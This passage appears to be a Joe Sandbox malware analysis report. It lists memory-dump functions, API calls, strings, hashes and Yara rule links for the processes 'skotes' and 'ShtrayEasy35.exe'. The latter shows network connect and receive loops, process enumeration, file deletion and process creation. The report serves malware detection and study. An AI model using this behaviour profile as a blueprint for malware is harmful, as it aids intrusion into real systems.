Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[e
API String ID: 3303180142-3475480586
Opcode ID: 22b5d768fd3080484b02b8fd3f99a662d490a17ee088df2b4b501d4ce98ffe2e
Instruction ID: 8441cd8ad080701e0717aa7b276c17941b21372f0dc1d2db0e407d7f95af720a
Opcode Fuzzy Hash: 22b5d768fd3080484b02b8fd3f99a662d490a17ee088df2b4b501d4ce98ffe2e
Instruction Fuzzy Hash: 2E01D230E042049AEF54EBF866253DE66A26F08300F68005EE405EB3C2CEB08EC08759

Function 0060CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CAFC
CreateSemaphoreW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CB1E

Strings

ea, xrefs: 0060CB12, 0060CAF0

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ea
API String ID: 1078844751-3322829488
Opcode ID: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction ID: a4badf93ff5ffab0d032263ec57ad13b93c88df04afc68f82bfb85dc00cb2156
Opcode Fuzzy Hash: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction Fuzzy Hash: 0FF0343A541228ABCF269F80EC188AF7F27EF08761B048110FE0966270C7329C21EFD0

Function 0061B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0061B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061B961

Strings

pContext, xrefs: 0061B959

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction ID: 8da57345f1f7b3b5b39d529b84923fd2f88fccbffbf0c623b1fbeddddf434270
Opcode Fuzzy Hash: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction Fuzzy Hash: A1E06839B0022467CB04BB64E849C9EB77B9EC1720704411AEA11A3380EB74EA01CAD4

Function 006134CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006134FC

Strings

version, xrefs: 006134E1
pScheduler, xrefs: 006134F4

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction ID: cd643f91646e87c4827d3e4b93e13e558585239292071d96e9b58b6f58be58cd
Opcode Fuzzy Hash: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction Fuzzy Hash: 88E08634580218BACF25FB54D847ADC77AA9B10705F08C125B812252919BF597C8CA81

Analysis Process: ShtrayEasy35.exePID: 7520, Parent PID: 8064COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.4%
Total number of Nodes:	643
Total number of Limit Nodes:	8

Executed Functions

Function 00E4B930 Relevance: 34.4, APIs: 17, Strings: 2, Instructions: 1104networksleepCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,000003FF,00000000), ref: 00E4B998
ExitProcess.KERNEL32 ref: 00E4C02A
WSAStartup.WS2_32(00000202,?), ref: 00E4C4E2
htons.WS2_32(00000000), ref: 00E4C54A
inet_pton.WS2_32(00000002,00E80094,?), ref: 00E4C56E
socket.WS2_32(00000002,00000001,00000000), ref: 00E4C57A
Sleep.KERNEL32(00001388), ref: 00E4C58C

Part of subcall function 00E4A7C0: _strftime.LIBCMT ref: 00E4A8F2

connect.WS2_32(00000000,?,00000010), ref: 00E4C59B
recv.WS2_32(00000000,00000000,00000000,00000000), ref: 00E4C653
closesocket.WS2_32(00000000), ref: 00E4C671
Sleep.KERNEL32(00001388), ref: 00E4C689
std::_Throw_Cpp_error.LIBCPMT ref: 00E4C6D4
std::_Throw_Cpp_error.LIBCPMT ref: 00E4C6E2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00E4C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00E4C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 00E4C7BC

Strings

invalid stoi argument, xrefs: 00E4C459, 00E4C6B2
stoi argument out of range, xrefs: 00E4C463, 00E4C6BC

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Cpp_errorFileModuleNameSleepThrow_recvstd::_$ExitPathProcessStartupTemp_strftimeclosesocketconnecthtonsinet_ptonsocket
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1806641947-1606216832
Opcode ID: ce3574e6142d780db45eb360c9947b1d54180add3a4d7378422f23c59c0e5f96
Instruction ID: 2c312bbc2a19a5806a7a84523f1869adeeb51adc48f02ee7b667af570108bea3
Opcode Fuzzy Hash: ce3574e6142d780db45eb360c9947b1d54180add3a4d7378422f23c59c0e5f96
Instruction Fuzzy Hash: 33A203B09012588FDB24DF24DC857AEB7B1AF45308F1452D8E64DB7292DB309E89CF59

Function 00E47CD0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 324
processfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,5847037D,?,00000000), ref: 00E47D0C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,00000003,000000FF,-00000020,?,00000003,000000FF), ref: 00E47EE0
Process32First.KERNEL32(00000000,?), ref: 00E47F03
GetCurrentProcessId.KERNEL32 ref: 00E47F11
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00E47F2D
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,?), ref: 00E47F58
CloseHandle.KERNEL32(00000000), ref: 00E47FC8
CloseHandle.KERNELBASE(00000000), ref: 00E47FD3
Process32Next.KERNEL32(00000000,00000128), ref: 00E47FE5
CloseHandle.KERNELBASE(00000000), ref: 00E47FF4
DeleteFileW.KERNELBASE(?), ref: 00E4800B

Strings

status, xrefs: 00E48134
directory_iterator::directory_iterator, xrefs: 00E48129

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CloseHandleProcess$FileNameProcess32$CreateCurrentDeleteFirstFullImageModuleNextOpenQuerySnapshotToolhelp32
String ID: directory_iterator::directory_iterator$status
API String ID: 1496499601-2525534277
Opcode ID: b4e2828c934f0c8040a56323878c963788bb598a48e4ed0650aa05be86eaa8dc
Instruction ID: 504dfcbf9c9ec1d12bb52e6f9e3a1a947e0d416fa5b010516e63c5e9c9b8fbec
Opcode Fuzzy Hash: b4e2828c934f0c8040a56323878c963788bb598a48e4ed0650aa05be86eaa8dc
Instruction Fuzzy Hash: 66C1D171A002148FDB25DF24DD94BAEB3B9EF44314F14519CE90AB7291EB30AE89CF90

Function 00E46F70 Relevance: 21.9, APIs: 14, Instructions: 885processCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,?,?,00E79E3E,00000000,5847037D), ref: 00E47274
SetFileAttributesA.KERNELBASE(?,00000000,?,?,?,?,00E79E3E,00000000,5847037D), ref: 00E4728E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?,?,?,?,00E79E3E,00000000,5847037D), ref: 00E472AA
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000010,00000000,00000000,00000044,?,?,?,?,?,?,00000000), ref: 00E474D4
CloseHandle.KERNEL32(?,?,?,00000000,00E79EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00E79E3E), ref: 00E474EA
CloseHandle.KERNEL32(?,?,?,00000000,00E79EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00E79E3E), ref: 00E474F2
OpenProcess.KERNEL32(00000410,00000000,?,5847037D,?,00000000), ref: 00E47640
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?,?,?,?,?,?,00000000), ref: 00E4765B
CloseHandle.KERNEL32(00000000), ref: 00E47666
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 00E4766E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000), ref: 00E47682
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 00E4786C
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 00E478B4
GetCurrentProcessId.KERNEL32(?,?,?,?,00000001,00000000,00E79E9C,00000001,?,?,?,?,00000000), ref: 00E47C03

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CloseFileHandle$Process$AttributesModuleName___std_fs_convert_wide_to_narrow@20$BinaryCreateCurrentOpenType
String ID:
API String ID: 2016004407-0
Opcode ID: 0dae36c7717175828ca7b0448d775978f7a6b8d8531ccf57b43bdcc46294c92e
Instruction ID: fb545787a99cd7bffe61c835f184678bf2b3b9a5dc8dc330a18bac577cfa8bb9
Opcode Fuzzy Hash: 0dae36c7717175828ca7b0448d775978f7a6b8d8531ccf57b43bdcc46294c92e
Instruction Fuzzy Hash: 0A82CD70D042588BDB29DB24DC88BADBBB5EF44304F1482D9E559BB292DB749EC4CF90

Function 00E4FE63 Relevance: 15.2, APIs: 10, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?), ref: 00E4FEFB
GetLastError.KERNEL32 ref: 00E4FF05
FindFirstFileW.KERNEL32(000000FF,?), ref: 00E4FF1C
GetLastError.KERNEL32 ref: 00E4FF27
FindClose.KERNEL32(00000000), ref: 00E4FF33
___std_fs_open_handle@16.LIBCPMT ref: 00E4FFEC

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 8fb7465af09c71364410292e25cd58dd8d35a151dadbcf4ac487ddcf4ba27763
Instruction ID: e29b55183b6910d318de3e54ff17eda84a4c2de93916ef5c13b0876ff9684e3a
Opcode Fuzzy Hash: 8fb7465af09c71364410292e25cd58dd8d35a151dadbcf4ac487ddcf4ba27763
Instruction Fuzzy Hash: 68718C74A006199FDB20CF28D884BA9B7B4BF05325F105A69F955F32D0DB309D89CB91

Function 00E4FD87 Relevance: 4.5, APIs: 3, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindClose.KERNEL32(000000FF,?,00E4FDB5,?,?,?,00E459C7,?,?,5847037D,?,?,?,5847037D,?), ref: 00E4FD93
FindFirstFileExW.KERNELBASE(000000FF,00000001,5847037D,00000000,00000000,00000000,?,?,?,?,00E4FDB5,?,?,?,00E459C7,?), ref: 00E4FDC2
GetLastError.KERNEL32(?,00E4FDB5,?,?,?,00E459C7,?,?,5847037D,?,?,?,5847037D,?), ref: 00E4FDD4

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

